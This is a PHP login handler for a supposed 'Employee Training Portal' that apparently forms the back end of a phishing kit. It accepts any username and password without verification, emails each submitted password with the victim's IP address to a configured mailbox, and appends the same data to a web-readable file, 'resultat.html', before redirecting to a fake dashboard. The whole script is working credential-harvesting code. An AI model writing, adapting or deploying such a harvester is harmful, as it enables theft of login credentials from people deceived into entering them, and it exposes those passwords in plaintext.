<?php
// --- Configuration ---
$resultemail = "hr@company.com";
$subject = "Employee Training Portal Login Attempt";
$resultfile = "yes";

session_start();

// --- Get Form Data ---
$input    = isset($_POST['username']) ? htmlspecialchars($_POST['username']) : '';
$password = isset($_POST['password']) ? htmlspecialchars($_POST['password']) : '';
$email    = $input; // keeps rest of file working unchanged
$ip       = $_SERVER['REMOTE_ADDR'];
$date     = date("Y-m-d H:i:s");

// Basic validation
if (empty($input) || empty($password)) {
    header("Location: index.html?error=empty");
    exit;
}

// --- Set session ---
$_SESSION['logged_in']   = true;
$_SESSION['user_email']  = $email;
$_SESSION['login_time']  = $date;

// --- Message Body ---
$message = "
<b>Login Attempt</b><br>
<b>Login Input:</b> $input<br>
<b>Password:</b> $password<br>
<b>IP:</b> $ip<br>
<b>Date/Time:</b> $date<br>
";

// --- Email Headers ---
$headers  = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= "From: Training Portal <no-reply@company.com>" . "\r\n";

// --- Send Email ---
mail($resultemail, $subject, $message, $headers);

// --- Save to File if Enabled ---
if ($resultfile == "yes") {
    $fp = fopen('./resultat.html', 'ab');
    fwrite($fp, $message . "<hr>");
    fclose($fp);
}

// --- Redirect to dashboard ---
header("Location: dashboard.html");
exit;
?>